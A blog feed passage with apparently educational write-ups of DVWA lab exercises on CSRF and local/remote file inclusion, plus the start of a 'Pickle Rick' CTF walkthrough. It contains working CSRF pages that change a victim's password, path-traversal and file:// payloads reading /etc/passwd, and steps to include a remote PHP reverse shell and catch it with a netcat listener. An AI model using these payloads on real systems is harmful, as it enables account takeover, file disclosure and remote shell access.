            <guid isPermaLink="false">https://medium.com/p/2216376045cc</guid>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[csrf]]></category>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Wed, 27 Dec 2023 17:04:37 GMT</pubDate>
            <atom:updated>2023-12-27T17:04:37.145Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*TqwKzClMPtvD30Uv.jpg" /></figure><p>Introduction</p><p>CSRF, or Cross-Site Request Forgery, is a security vulnerability where an attacker tricks a user’s browser into making unintended and unauthorized requests to a web application on which the user is authenticated. This is often achieved by crafting malicious URLs or embedding harmful scripts in web pages. CSRF attacks can lead to unauthorized actions being performed on behalf of the victim, such as changing passwords or making financial transactions, without their knowledge or consent. To prevent CSRF, web applications should implement countermeasures like anti-CSRF tokens, SameSite cookie attributes, and referer header checks to ensure that requests originate from trusted sources.</p><h3>low.php</h3><blockquote>&lt;?php</blockquote><blockquote>if( isset( $_GET[ &#39;Change&#39; ] ) ) {<br> // Get input<br> $pass_new = $_GET[ &#39;password_new&#39; ];<br> $pass_conf = $_GET[ &#39;password_conf&#39; ];</blockquote><blockquote>// Do the passwords match?<br> if( $pass_new == $pass_conf ) {<br> // They do!<br> $pass_new = ((isset($GLOBALS[&quot;___mysqli_ston&quot;]) &amp;&amp; is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;], $pass_new ) : ((trigger_error(&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;, E_USER_ERROR)) ? &quot;&quot; : &quot;&quot;));<br> $pass_new = md5( $pass_new );</blockquote><blockquote>// Update the database<br> $insert = &quot;UPDATE `users` SET password = &#39;$pass_new&#39; WHERE user = &#39;&quot; . dvwaCurrentUser() . &quot;&#39;;&quot;;<br> $result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;], $insert ) or die( &#39;&lt;pre&gt;&#39; . ((is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_error($GLOBALS[&quot;___mysqli_ston&quot;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . &#39;&lt;/pre&gt;&#39; );</blockquote><blockquote>// Feedback for the user<br> echo &quot;&lt;pre&gt;Password Changed.&lt;/pre&gt;&quot;;<br> }<br> else {<br> // Issue with passwords matching<br> echo &quot;&lt;pre&gt;Passwords did not match.&lt;/pre&gt;&quot;;<br> }</blockquote><blockquote>((is_null($___mysqli_res = mysqli_close($GLOBALS[&quot;___mysqli_ston&quot;]))) ? false : $___mysqli_res);<br>} ?&gt;</blockquote><h4>CSRF Vulnerability:</h4><p>The code doesn’t include any CSRF protection, making it susceptible to CSRF attacks. An attacker could craft a malicious link, and if a logged-in user clicks on it, their password would be changed without their consent.</p><h4>Insecure Password Handling:</h4><p>The code uses the md5 function for password hashing, which is considered outdated and insecure. It’s recommended to use more secure hashing algorithms like bcrypt.</p><h4>SQL Injection Risk:</h4><p>The code uses string concatenation in the SQL query, making it vulnerable to SQL injection attacks. Prepared statements should be used to prevent such vulnerabilities.</p><h4>Lack of Input Validation:</h4><p>The code does not perform proper input validation. It assumes that the passwords match, and it doesn’t check the length or complexity of the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*ZtJihUpZ5EF82k03mPRQ3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*e_ggMI10qxkgoSRa0Ep3GA.png" /></figure><blockquote>save it in the file:</blockquote><blockquote>&lt;!DOCTYPE html&gt;<br>&lt;html lang=”en”&gt;<br>&lt;head&gt;<br> &lt;meta charset=”UTF-8&quot;&gt;<br> &lt;meta name=”viewport” content=”width=device-width, initial-scale=1.0&quot;&gt;<br> &lt;title&gt;Password Change&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;button onclick=”changePassword()”&gt;Click Me!!!&lt;/button&gt;<br>&lt;script&gt;<br> function changePassword() {<br> // Replace the following URL with the desired URL<br> var url = ‘<a href="http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=pass&amp;password_conf=pass&amp;Change=Change#&#39;">http://127.0.0.1:8888/vulnerabilities/csrf/?password_new=pass&amp;password_conf=pass&amp;Change=Change#&#39;</a><br> // Open the URL in a new tab<br> window.open(url, ‘_blank’);<br> }<br>&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</blockquote><p>We are presenting the HTML code for a page featuring a download link for a game named “click me,” along with a claim that the password has been modified by the attacker. If the attacker shares this link with the victim, the password change will take effect.</p><p>Upon the victim’s attempt to open the HTML page, the display will resemble the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*AtKHWFlnRLIrdleyHmTwpQ.png" /></figure><p>When the victim attempts to click on the “clicklink,” the password “test” will undergo an automatic change. The altered password is observable in the displayed content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*uUUA7VqZuiknQVN8snrQ5g.png" /></figure><h3>Security: Medium</h3><p>If we try to use low security method then it wont work anymore</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/0*rRPEfGORrqY6nZYb.png" /></figure><p>As we Know, we will first view the source code</p><blockquote>&lt;?php</blockquote><blockquote>if( isset( $_GET[ ‘Change’ ] ) ) {<br> // Checks to see where the request came from<br> if( stripos( $_SERVER[ ‘HTTP_REFERER’ ] ,$_SERVER[ ‘SERVER_NAME’ ]) !== false ) {<br> // Get input<br> $pass_new = $_GET[ ‘password_new’ ];<br> $pass_conf = $_GET[ ‘password_conf’ ];</blockquote><blockquote>// Do the passwords match?<br> if( $pass_new == $pass_conf ) {<br> // They do!<br> $pass_new = ((isset($GLOBALS[“___mysqli_ston”]) &amp;&amp; is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_real_escape_string($GLOBALS[“___mysqli_ston”], $pass_new ) : ((trigger_error(“[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.”, E_USER_ERROR)) ? “” : “”));<br> $pass_new = md5( $pass_new );</blockquote><blockquote>// Update the database<br> $insert = “UPDATE `users` SET password = ‘$pass_new’ WHERE user = ‘“ . dvwaCurrentUser() . “‘;”;<br> $result = mysqli_query($GLOBALS[“___mysqli_ston”], $insert ) or die( ‘&lt;pre&gt;’ . ((is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_error($GLOBALS[“___mysqli_ston”]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘&lt;/pre&gt;’ );</blockquote><blockquote>// Feedback for the user<br> echo “&lt;pre&gt;Password Changed.&lt;/pre&gt;”;<br> }<br> else {<br> // Issue with passwords matching<br> echo “&lt;pre&gt;Passwords did not match.&lt;/pre&gt;”;<br> }<br> }<br> else {<br> // Didn’t come from a trusted source<br> echo “&lt;pre&gt;That request didn’t look correct.&lt;/pre&gt;”;<br> }</blockquote><blockquote>((is_null($___mysqli_res = mysqli_close($GLOBALS[“___mysqli_ston”]))) ? false : $___mysqli_res);<br>}</blockquote><blockquote>?&gt;</blockquote><p>The vulnerability in this code lies in its reliance on the HTTP Referer header for Cross-Site Request Forgery (CSRF) protection. The code assumes that checking the Referer header ensures the request’s origin is from the same server, considering it a trusted source. However, this approach is flawed as the Referer header can be manipulated easily by attackers. This allows malicious websites or crafted URLs to make requests to the script, deceiving the user’s browser into executing unintended actions, such as altering their password without their awareness or approval.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/0*SypJ5IZ6Q9HFYYRt.png" /></figure><p>Observing the legitimate request, we notice the presence of a Referer, indicating the request’s origin. This alignment allows the request to proceed. Now, consider intercepting the illegitimate request using Burp and including the HTTP Referer. This entails manipulating the request to mimic a valid origin, potentially bypassing the security check and allowing unauthorized actions to take place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/0*AUSiDoXmhIZ8vuIW.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/0*u7wy2vjQp8HrubpT.png" /></figure><p>Paasword changed sucessfully</p><h3>High:</h3><blockquote>&lt;!DOCTYPE html&gt;</blockquote><blockquote>&lt;html&gt;</blockquote><blockquote>&lt;head&gt;</blockquote><blockquote>&lt;meta charset=’utf-8&#39;&gt;</blockquote><blockquote>&lt;meta http-equiv=’X-UA-Compatible’ content=’IE=edge’&gt;</blockquote><blockquote>&lt;title&gt;CSRF High&lt;/title&gt;</blockquote><blockquote>&lt;/head&gt;</blockquote><blockquote>&lt;body onload=”change_password()”&gt;</blockquote><blockquote>&lt;script&gt;</blockquote><blockquote>function change_password(){</blockquote><blockquote>const request = new XMLHttpRequest();</blockquote><blockquote>const url = “<a href="http://127.0.0.1:9999/vulnerabilities/csrf/">http://127.0.0.1:9999/vulnerabilities/csrf/</a>&quot;</blockquote><blockquote>request.open(“GET”, url);</blockquote><blockquote>request.onreadystatechange = () =&gt; {</blockquote><blockquote>if (request.readyState === request.DONE &amp;&amp; request.status === 200) {</blockquote><blockquote>var response = request.responseText;</blockquote><blockquote>var user_token = /[a-f0–9]{32}/g.exec(response)[0]</blockquote><blockquote>var payload = “<a href="http://127.0.0.1:9999/vulnerabilities/csrf/?password_new=password&amp;amp;password_conf=password&amp;Change=Change&amp;user_token=">http://127.0.0.1:9999/vulnerabilities/csrf/?password_new=password&amp;amp;password_conf=password&amp;Change=Change&amp;user_token=</a>&quot;+user_token;</blockquote><blockquote>var second_request = new XMLHttpRequest();</blockquote><blockquote>second_request.open(“GET”, payload);</blockquote><blockquote>second_request.send()</blockquote><blockquote>}</blockquote><blockquote>};</blockquote><blockquote>request.send()</blockquote><blockquote>console.log(“password changed”); <br> }<br> &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</blockquote><p>We stored this code in an HTML file, executed it, and observed the password change message in the console, concluding the process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*0v4-O_6RAPEGySh1Pp3lFg.png" /></figure><h3>Findings:</h3><h4>Low-Level Vulnerabilities:</h4><ul><li>Lack of CSRF protection in low.php.</li><li>Insecure password handling using the outdated md5 function.</li><li>SQL injection risk due to string concatenation.</li><li>Insufficient input validation.</li></ul><h4>High-Level Vulnerabilities:</h4><ul><li>Reliance on the HTTP Referer header for CSRF protection.</li><li>The Referer header can be easily manipulated, allowing attackers to bypass protection.</li><li>Successful password change through an illegitimate request.</li></ul><h3>Conclusion:</h3><p>The identified CSRF vulnerabilities pose a significant risk to the security of the web application. The low-level vulnerabilities highlight issues in input validation, password handling, and SQL injection protection. The high-level vulnerability emphasizes the limitations of using the Referer header as the sole protection mechanism against CSRF attacks. Implementing the recommended security enhancements is crucial to fortify the application against CSRF exploits and ensure the protection of user data.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2216376045cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[File inclusion]]></title>
            <link>https://medium.com/@timsinabishal232/file-inclusion-faa044106f83?source=rss-df2bbf6c0bc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/faa044106f83</guid>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[rfi]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[file-inclusion]]></category>
            <category><![CDATA[dvwa]]></category>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Wed, 27 Dec 2023 16:00:11 GMT</pubDate>
            <atom:updated>2024-01-03T02:21:04.046Z</atom:updated>
            <content:encoded><![CDATA[<p>Comprehensive writeup: Exploiting File Inclusion Vulnerabilities</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/0*R46l3X-h-17CLkMY.png" /></figure><h3>Introduction:</h3><p>File Inclusion Attacks pose a serious threat to web applications, enabling attackers to manipulate the inclusion of files and potentially lead to remote code execution. This writeup explores the exploitation of Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities across different security levels (Low, Medium, and High) in a web application. The purpose is to highlight the impact of insufficient input validation and the importance of secure coding practices.</p><h4>What is File Inclusion Attack?</h4><p>A File Inclusion Attack is a security exploit that enables an attacker to incorporate a file on a web server by leveraging a PHP script. This vulnerability emerges when a web application permits clients to input or upload files. Unlike a standard Directory Traversal Attack, which focuses on unauthorized file system access, a file inclusion vulnerability manipulates how an application loads code for execution. If successfully exploited, a file inclusion vulnerability leads to remote code execution on the web server hosting the affected application.</p><p>There are two main types of file inclusion attacks: Local File Inclusion (LFI) and Remote File Inclusion (RFI).</p><ol><li><strong>Local File Inclusion (LFI):</strong></li></ol><ul><li>In an LFI attack, the attacker exploits vulnerabilities in a web application to include and execute local files on the server. This means that the attacker can read files that are present on the server, such as configuration files, system files, or other sensitive information.</li><li>LFI attacks often target web applications that use user input, such as file paths or parameters, without proper validation or sanitization.</li></ul><p>Example URL with LFI vulnerability:</p><blockquote><a href="http://example.com/index.php?page=../../etc/passwd">http://example.com/index.php?page=../../etc/passwd</a></blockquote><p>If the web application is vulnerable, this could lead to the inclusion of the /etc/passwd file.</p><p>2<strong>. Remote File Inclusion (RFI):</strong></p><ul><li>RFI is a more severe form of file inclusion attack. In an RFI attack, the attacker can include files from a remote server. This means that the attacker can execute arbitrary code hosted on an external server, potentially leading to complete compromise of the affected system.</li><li>RFI attacks are particularly dangerous because they allow attackers to introduce and execute malicious code on the server.</li></ul><p>Example URL with RFI vulnerability:</p><blockquote>http://example.com/index.php?=http://malicious.com/malicious_code.php</blockquote><p>If the web application is vulnerable, this could lead to the execution of code from the external.</p><h3>Methodology</h3><h4>Low Security Level (LFI):</h4><ul><li>Utilized the DVWA (Damn Vulnerable Web Application) to demonstrate a basic LFI vulnerability.</li><li>Obtained a PHP reverse shell from revshells.com and hosted it on a local server.</li><li>Manipulated the ‘page’ parameter in the URL to include the reverse shell script.Successfully gained a reverse shell by exploiting the vulnerability.</li></ul><h4>Medium Security Level (LFI):</h4><ul><li>Examined a more secure scenario with additional input validation in place.</li><li>Identified weaknesses in the str_replace-based input validation.</li><li>Attempted to bypass the validation using creative patterns like …/./.</li><li>Successfully exploited the vulnerability by crafting a URL that bypassed the validation.</li></ul><h4>High Security Level (LFI):</h4><ul><li>Analyzed a higher security level where input validation involves pattern matching with fnmatch.</li><li>Recognized that the validation was not sufficiently robust.</li><li>Exploited the vulnerability by using file:// protocol, which wasn’t filtered by fnmatch.</li><li>Demonstrated the inclusion of sensitive files like /etc/passwd.</li></ul><h4>Low and Medium Security Level (RFI):</h4><ul><li>Explored RFI vulnerabilities by attempting to include a remote PHP reverse shell.</li><li>Prepared a Python HTTP server to host the reverse shell script.</li><li>Manipulated the ‘page’ parameter in the URL to include the remote PHP script.</li><li>Successfully obtained a reverse shell by triggering the RFI vulnerability.</li></ul><h4>High Security Level (RFI):</h4><ul><li>Acknowledged the security measures in place, preventing the inclusion of external content.</li><li>Recognized that the web server exclusively accepts files named “include.php” or those starting with “file.”</li><li>Concluded that RFI is not feasible due to stringent input validation.</li></ul><h3>Local File Inclusion:</h3><h4><strong>1: Low</strong></h4><p>Initiate your system, access the Damn Vulnerable Web Application (DVWA), log in, navigate to the security tab within DVWA, and modify the difficulty level to the “low” setting.</p><blockquote>Source code: <br>&lt;?php</blockquote><blockquote>// The page we wish to display<br>$file = $_GET[ &#39;page&#39; ];</blockquote><blockquote>?&gt;</blockquote><p>The variable $file is assigned the value of the &#39;page&#39; parameter from the GET request. In PHP, the $_GET superglobal is used to retrieve values from the URL, so we can easily manipulate the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RcOQy-rmIvsxLTGaxYDQMg.png" /></figure><blockquote><a href="http://127.0.0.1:8888/vulnerabilities/fi/?page=../../../../../../etc/passwd"><strong>http://127.0.0.1:8888/vulnerabilities/fi/?page=../../../../../../etc/passwd</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RMYWZ7l7eZU9Y9q0PFDgrg.png" /></figure><h4>why did this happened?</h4><p>There is no validation or sanitization of the user-provided input. This lack of validation allows users to input arbitrary values, including file paths, which can be exploited for malicious purposes.</p><h4>2. Medium</h4><blockquote><strong>source code:</strong></blockquote><blockquote>&lt;?php <br> <br>// The page we wish to display <br>$file = $_GET[ &#39;page&#39; ]; <br> <br>// Input validation <br>$file = str_replace( array( &quot;http://&quot;, &quot;https://&quot; ), &quot;&quot;, $file ); <br>$file = str_replace( array( &quot;../&quot;, &quot;..\&quot;&quot; ), &quot;&quot;, $file ); <br> <br>?&gt;</blockquote><p>Let’s break down the provided PHP code in points:</p><p>Code Breakdown:</p><ul><li>$_GET[&#39;page&#39;]: Retrieves the value of the &#39;page&#39; parameter from the URL query string. This value is intended to specify the page to display.</li><li>str_replace(array(&quot;http://&quot;, &quot;https://&quot;), &quot;&quot;, $file): Removes &quot;http://&quot; and &quot;https://&quot; prefixes from the $file variable, likely to prevent accessing files on external servers.</li><li>str_replace(array(&quot;../&quot;, &quot;..\&quot;&quot;), &quot;&quot;, $file): Removes &quot;../&quot; and &quot;..&quot; sequences from the $file variable, aiming to block path traversal attacks that try to access files outside the intended directory.</li></ul><p>Attempted Bypass:</p><ul><li>The blocked strings ../../../ and ..\..\..\..\ are common path traversal attempts to navigate up multiple directory levels.</li><li>The attacker tried ..././..././..././..././..././..././..././ as a bypass.</li></ul><blockquote><a href="http://127.0.0.1:8888/vulnerabilities/fi/?page=..././..././..././..././..././..././..././etc/passwd"><strong>http://127.0.0.1:8888/vulnerabilities/fi/page=..././..././..././..././..././..././..././etc/passwd</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jgb1qPFx-Kp2t2QAiJccYg.png" /></figure><p>Why It Worked:</p><ul><li>Loose Pattern Matching: The str_replace function used strict string matching, looking for exact sequences of &quot;../&quot; or &quot;..&quot;. It didn&#39;t account for variations like ..././.</li><li>Equivalent Paths: The string ..././ is essentially equivalent to ../ in terms of file system navigation. It moves up one directory level, but the extra dots and slashes bypassed the filter.</li></ul><h4>3. High</h4><blockquote>vulnerabilities/fi/source/high.php<br> &lt;?php <br> <br>// The page we wish to display <br>$file = $_GET[ ‘page’ ]; <br> <br>// Input validation <br>if( !fnmatch( “file*”, $file ) &amp;&amp; $file != “include.php” ) { <br> // This isn’t the page we want! <br> echo “ERROR: File not found!”; <br> exit; <br>} <br> <br>?&gt;</blockquote><ol><li>User Input Capture: The code captures user input from the ‘page’ parameter in the URL using $_GET[&#39;page&#39;] and assigns it to the variable $file. This is a common way to retrieve user-supplied data from the URL.</li><li>Input Validation: The fnmatch function is used for pattern matching. The condition in the if statement checks whether the value of $file does not match the pattern &quot;file*&quot; (i.e., it does not start with &quot;file&quot;) and is not equal to &quot;include.php.&quot;</li><li>Conditional Check: If the condition evaluates to true (meaning the input does not meet the specified criteria), the code inside the conditional block is executed.</li><li>Error Handling: Inside the conditional block, an error message is echoed to the user: “ERROR: File not found!” This message indicates that the requested file is not allowed based on the input validation rules.</li><li>Script Termination: The exit function is then called, terminating the execution of the script. This ensures that if the input is not valid, the script stops executing further code, preventing the inclusion of unauthorized files.</li></ol><p>Vulnerability:</p><ul><li>Insufficient Validation: The fnmatch function used for validation is inadequate. It only checks if the filename starts with &quot;file&quot; or is exactly &quot;include.php&quot;, leaving room for exploitation.</li></ul><p>Exploit:</p><blockquote><a href="http://127.0.0.1:8888/vulnerabilities/fi/?page=..././..././..././..././..././..././..././etc/passwd"><strong>http://127.0.0.1:8888/vulnerabilities/fi/?page=f</strong></a><strong>ile:///etc/paswd</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4GkWOKC1ZFo7WHv6QjlaQ.png" /></figure><ul><li>File Path Manipulation: The attacker provided :file:///etc/passwd as the page parameter, crafting a malicious file path.</li><li>Bypassing Validation: The :file:// prefix, often used to access local files in browsers, wasn&#39;t filtered by the fnmatch function, allowing the attacker to pass the check.</li><li>Accessing Sensitive File: The application likely included the specified file, unintentionally exposing the contents of /etc/passwd, a sensitive file containing user account information.</li></ul><p>Why It Worked:</p><ul><li>Loose Validation: The fnmatch function only checked for specific filename patterns, not handling potential URL schemes like file://.</li><li>File Protocol Handling: The application might have interpreted :file:// as a valid file path, leading to the inclusion of the specified file.</li></ul><h3>Remote File Inclusion</h3><h4>1. Low</h4><h4>1. Preparation:</h4><p>Obtained Reverse Shell:</p><ul><li>Visited <a href="https://revshells.com/">https://revshells.com</a> to obtain a PHP reverse shell, specifically the one of PHPPentestMonkey.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5aybUHgLcMzvXgzPrqzVw.png" /></figure><p>Setup Python HTTP Server:</p><ul><li>Started a simple HTTP server using the command: python3 -m http.server 80 to serve the reverse shell script.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*nvIB9qN_Qky2u3CvQkW-Ew.png" /></figure><h4>2. Listener Setup:</h4><ul><li>Set up a Netcat listener using the command: nc -lnvp &lt;port&gt; to listen for incoming connections on a specific port.</li></ul><h4>3. Exploiting the LFI Vulnerability:</h4><ul><li>Manipulated the ‘page’ parameter in the URL to include the reverse shell script hosted on your machine:</li></ul><blockquote><a href="http://127.0.0.1:8888/vulnerabilities/fi/?page=http://10.0.2.16/revsh.php"><strong>http://127.0.0.1:8888/vulnerabilities/fi/page=http://10.0.2.16/revsh.php</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*7zG3QDBJyb8GtBaDF2n1Yg.png" /></figure><ul><li>Accessed the manipulated URL, triggering the LFI vulnerability and causing the web application to include the remote PHP script.</li></ul><h4>4. Obtaining the Reverse Shell:</h4><ul><li>Due to the successful inclusion of the reverse shell script, a connection was established to your Netcat listener.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*dbkgF5M7qL108na3_Qkzzg.png" /></figure><ul><li>You now have an interactive shell on the target system, allowing you to execute commands and interact with the compromised machine.</li></ul><h3>Medium(RFI)</h3><h4>1. Preparation:<br>Obtained Reverse Shell:</h4><ul><li>Similar to the “Low” level, obtained a PHP reverse shell from <a href="https://revshells.com">https://revshells.com</a>.</li><li>Maintained the Python HTTP server to serve the reverse shell script.</li></ul><h4>Listener Setup:</h4><p>Kept the Netcat listener active for incoming connections.</p><h4>Exploiting the LFI Vulnerability:</h4><p>Manipulated the ‘page’ parameter in the URL to include the reverse shell script hosted on your machine, with a slight modification in the URL for the “Medium” level:<br><br><a href="http://127.0.0.1:8888/vulnerabilities/fi/?page=Http://10.0.2.16/revsh.php">http://127.0.0.1:8888/vulnerabilities/fi/?page=Http://10.0.2.16/revsh.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*bkANpcMO1Yf-ZV6RtdQwOw.png" /></figure><p>Accessed the manipulated URL, exploiting the LFI vulnerability and causing the web application to include the remote PHP script.</p><h4>Obtaining the Reverse Shell:</h4><p>Similar to the “Low” level, due to the successful inclusion of the reverse shell script, a connection was established to your Netcat listener.<br>Command Execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*5xhAwReUX8snCNdwpjiqyA.png" /></figure><p>You have gained an interactive shell on the target system, allowing you to execute commands and interact further with the compromised machine.</p><h3>Hard</h3><p>Exploiting the high difficulty level using Remote File Inclusion (RFI) is not feasible, as indicated in the source page. It’s understood that the target web server exclusively accepts files named “include.php” or those commencing with the term “file,” preventing the inclusion of external server content.</p><h3>Findings</h3><h4>Common Vulnerabilities:</h4><ul><li>Across different security levels, common vulnerabilities included insufficient input validation and pattern-matching limitations.</li></ul><h4>Exploitation Techniques:</h4><ul><li>Exploited LFI by manipulating URL parameters to traverse directories and include remote files.</li><li>Bypassed input validation using variations in file path representations.</li><li>Demonstrated successful RFI attacks by including remote PHP scripts.</li></ul><h3>Recommendations</h3><h4>Input Validation:</h4><p>Implement robust input validation, considering variations in file path representations.<br>Use regular expressions for precise pattern matching and validation.</p><h4>Whitelisting:</h4><p>Consider whitelisting allowed values for file inclusion, reducing the risk of unauthorized inclusions.</p><h4>Security Education:</h4><p>Provide security training for developers to enhance awareness of common vulnerabilities and secure coding practices.</p><h3>Conclusion</h3><p>File Inclusion Attacks, when left unaddressed, can lead to severe security breaches. This writeup demonstrated the exploitation of LFI and RFI vulnerabilities across different security levels. It underscores the importance of thorough input validation, secure coding practices, and continuous security education for developers. By following these recommendations, web applications can significantly reduce the risk of file inclusion vulnerabilities and enhance overall security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=faa044106f83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pickle Rick]]></title>
            <link>https://medium.com/@timsinabishal232/pickle-rick-f63a669e4a91?source=rss-df2bbf6c0bc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f63a669e4a91</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[pickle-rick-walkthrough]]></category>
            <category><![CDATA[pickle-rick]]></category>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Mon, 18 Dec 2023 12:22:28 GMT</pubDate>
            <atom:updated>2024-02-12T16:15:02.755Z</atom:updated>
            <content:encoded><![CDATA[<p>written by: Bishal Timsina</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*zqQBiusOGmVryNuR.jpg" /></figure><h3>Introduction</h3><p>The exploration detailed here delves into the vulnerabilities associated with command injection, an exploitable flaw wherein untrusted user inputs are executed as system commands. The investigation unfolds within the context of a scenario involving a system represented by the Rick and Morty-themed “Pickle Rick” challenge. This system exhibits vulnerabilities, prompting a step-by-step journey to identify, exploit, and mitigate command injection risks.</p><p>Before we delve into exploring the system, let’s gather information about command injection.</p><p>Command Injection is a security vulnerability that arises when an application or system allows untrusted user input to be executed as system commands. This vulnerability occurs when input data is not properly validated or sanitized before being passed to a command interpreter, such as a shell or operating system. Attackers exploit command injection vulnerabilities by inserting malicious commands within the intended input fields or parameters. These injected commands are then executed by the system, potentially leading to unauthorized access, data loss, system compromise, or further exploitation of the system.</p><h3><strong>Scenarios</strong></h3><p>Command injection vulnerabilities commonly arise in various scenarios:</p><p>1. Web Applications: Input fields like search bars, login forms, or any user-interfacing elements that take user input without proper validation can be susceptible to command injection. If this input is directly passed to system commands without sanitization, it can lead to vulnerabilities.</p><p>2. Shell Scripts: Scripts that incorporate user-provided data without adequate validation or handling can be prone to command injection. Any script that executes system commands based on user input without proper checks is at risk.</p><p>3. Network Services: Applications or services that interact with external systems and process user-provided data without validation can also face command injection vulnerabilities. This includes services like FTP, SSH, or other network-based utilities.</p><p>Understanding these scenarios helps in identifying potential points of vulnerability and implementing measures to prevent command injection attacks in these areas.</p><h3>Mitigation</h3><p>Mitigating command injection vulnerabilities involves several key strategies:</p><ol><li>Input Validation and Sanitization: Thoroughly validate and sanitize user inputs to ensure they conform to expected formats and contain only permissible characters. Filtering out or escaping special characters that can be interpreted as commands is crucial to prevent unauthorized command execution.</li><li>Secure Coding Practices: Use secure coding practices and functions that handle command execution securely. Utilize APIs or libraries designed to prevent command injections, such as parameterized queries in databases or language-specific functions that mitigate these risks.</li><li>Least Privilege: Ensure that the processes or users executing commands have the minimum necessary privileges required to perform their tasks. This reduces the impact of successful command injections by limiting the scope of potential damage.</li><li>Regular Security Audits and Testing: Conduct frequent security audits and penetration tests to identify and address vulnerabilities, including potential command injection points. Automated scanning tools or manual code reviews can help uncover vulnerabilities.</li><li>Update and Patch Management: Keep all software, frameworks, and dependencies up to date with the latest security patches. This helps in mitigating known vulnerabilities that could be exploited for command injection attacks.</li><li>Network Segmentation and Access Controls: Employ network segmentation and access controls to limit direct access between systems and restrict unauthorized access to critical parts of the network. Firewalls, access controls, and proper network segregation can minimize attack surfaces.</li></ol><h3>Methodology</h3><h4>Command Injection Vulnerabilities:</h4><ul><li>Detailed understanding of command injection vulnerabilities in various scenarios: web applications, shell scripts, and network services.</li><li>Strategies to mitigate vulnerabilities: input validation, secure coding practices, least privilege, security audits, updates, network segmentation, and access controls.</li></ul><h3>System Exploration Steps</h3><h4><strong>Initial Reconnaissance:</strong></h4><p>Check if the target machine is accessible via ping:</p><blockquote><strong>Ping &lt;IP of box&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*Qn5_-Y2zyJtARLkR4TFzRA.png" /></figure><p>Access the Terminal:</p><ul><li>Open a terminal or command prompt on your system.</li></ul><p>Initiate Nmap Scan:</p><p>Type the following command:</p><blockquote><strong><em>nmap -sC -sV &lt;IP&gt;</em></strong></blockquote><ul><li>-sC: This flag triggers default script scanning, which executes a set of common scripts to gather additional information.</li><li>-sV: This flag enables version detection, helping to identify services and their versions.</li><li>&lt;IP&gt;: Replace this with the target IP address you&#39;re scanning.</li></ul><p>Scan Execution:</p><ul><li>Press ‘Enter’ to execute the command. Nmap begins scanning the target machine for open ports and running services.</li></ul><p>Scan Results Analysis:</p><ul><li>Upon completion, Nmap presents a summary of its findings:</li></ul><p>SSH (Port 22):</p><ul><li>Indicates the presence of the Secure Shell service, commonly used for secure remote access.</li></ul><p>HTTP (Port 80):</p><ul><li>Indicates the Hypertext Transfer Protocol service, typically associated with web servers.</li></ul><h4>2. Enumeration of Web Services:</h4><p>Upon inspecting the provided Rick and Morty-themed webpage hosted on the HTTP service, a message from Rick to Morty reveals a peculiar situation: Rick, having transformed himself into a pickle, seeks Morty’s help to retrieve three secret ingredients essential for his transformation back into a human. The twist lies in Rick’s forgotten computer password, prompting Morty to employ his hacking prowess to assist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*Xd8zm29-vd6gHpEjka09KA.png" /></figure><p>While scouring the webpage’s source code, a crucial clue surfaces in the form of the username “R1ckRul3s.”</p><figure><img alt="" 